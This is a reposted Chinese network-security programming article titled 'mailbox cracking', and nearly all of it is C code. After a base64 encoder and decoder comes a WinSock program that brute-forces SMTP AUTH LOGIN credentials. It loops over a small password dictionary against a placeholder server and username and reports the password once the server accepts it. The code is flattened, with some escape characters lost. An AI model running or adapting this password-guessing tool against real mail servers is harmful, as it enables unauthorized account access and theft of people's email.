转自：计算机与网络安全
static const char *codes ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";static const unsigned char map[256] = {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,255, 255, 255, 255 };int base64_encode(const unsigned char *in, unsigned long len,unsigned char *out){unsigned long i, len2, leven;unsigned char *p;/* valid output size ? */len2 = 4 * ((len + 2) / 3);p = out;leven = 3*(len / 3);for (i = 0; i < leven; i += 3) {*p++ = codes[in[0] >> 2];*p++ = codes[((in[0] & 3) << 4) + (in[1] >> 4)];*p++ = codes[((in[1] & 0xf) << 2) + (in[2] >> 6)];*p++ = codes[in[2] & 0x3f];in += 3;}/* Pad it if necessary... */if (i < len) {unsigned a = in[0];unsigned b = (i+1 < len) ? in[1] : 0;unsigned c = 0;*p++ = codes[a >> 2];*p++ = codes[((a & 3) << 4) + (b >> 4)];*p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';*p++ = '=';}/* append a NULL byte */*p = '';return p - out;}int base64_decode(const unsigned char *in, unsigned char *out){unsigned long t, x, y, z;unsigned char c;int g = 3;for (x = y = z = t = 0; in[x]!=0;) {c = map[in[x++]];if (c == 255) return -1;if (c == 253) continue;if (c == 254) { c = 0; g--; }t = (t<<6)|c;if (++y == 4) {// if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; }out[z++] = (unsigned char)((t>>16)&255);if (g > 1) out[z++] = (unsigned char)((t>>8)&255);if (g > 2) out[z++] = (unsigned char)(t&255);y = t = 0;}}return z;}
// 模拟一串字典char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){int nRetCode = 0;HMODULE hModule = ::GetModuleHandle(NULL);if (hModule != NULL){// 初始化 MFC 并在失败时显示错误if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0)){// TODO: 更改错误代码以符合您的需要_tprintf(_T("错误: MFC 初始化失败n"));nRetCode = 1;}else{// TODO: 在此处为应用程序的行为编写代码。}}else{// TODO: 更改错误代码以符合您的需要_tprintf(_T("错误: GetModuleHandle 失败n"));nRetCode = 1;}// 初始化 WinSockWSADATA wsaData = { 0 };WSAStartup(MAKEWORD(2, 2), &wsaData);// 循环读取字典for ( int i = 0; i <= 4; i ++ ){char in[30] = { 0 };char out[MAXBYTE] = { 0 };SOCKET s = socket(PF_INET, SOCK_STREAM, 0);sockaddr_in saddr = { 0 };saddr.sin_family = AF_INET;// 连接 SMTP 服务器saddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");// 连接 SMTP 服务的端口号saddr.sin_port = htons(25);// 发送/接收通信数据的缓冲区char szBuff[MAX_PATH] = { 0 };int nRet = connect(s, (SOCKADDR*)&saddr, sizeof(saddr));recv(s, szBuff, MAXBYTE, 0);printf("%s rn", szBuff);lstrcpy(szBuff, "auth loginrn");send(s, szBuff, strlen(szBuff), 0);printf("%s rn", szBuff);recv(s, szBuff, MAXBYTE, 0);printf("%s rn", szBuff);// 这里的 xxx 替换为要破解的 SMTP 用户名lstrcpy(in, "xxx");base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);lstrcpy(szBuff, out);lstrcat(szBuff, "rn");send(s, szBuff, strlen(szBuff), 0);printf("%s rn", szBuff);recv(s, szBuff, MAXBYTE, 0);printf("%s rn", szBuff);lstrcpy(in, (LPCSTR)(*(dict + i)));base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);lstrcpy(szBuff, out);lstrcat(szBuff, "rn");send(s, szBuff, strlen(szBuff), 0);printf("%s rn", szBuff);recv(s, szBuff, MAXBYTE, 0);printf("%s rn", szBuff);if ( strstr(szBuff, "235") ){printf("Success rn");printf("%srn", (char *)(*(dict + i)));closesocket(s);break;}else{printf("Faild rn");}closesocket(s);}WSACleanup();return nRetCode;}
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原文始发于微信公众号（橘猫学安全）：网络安全编程：邮箱破解
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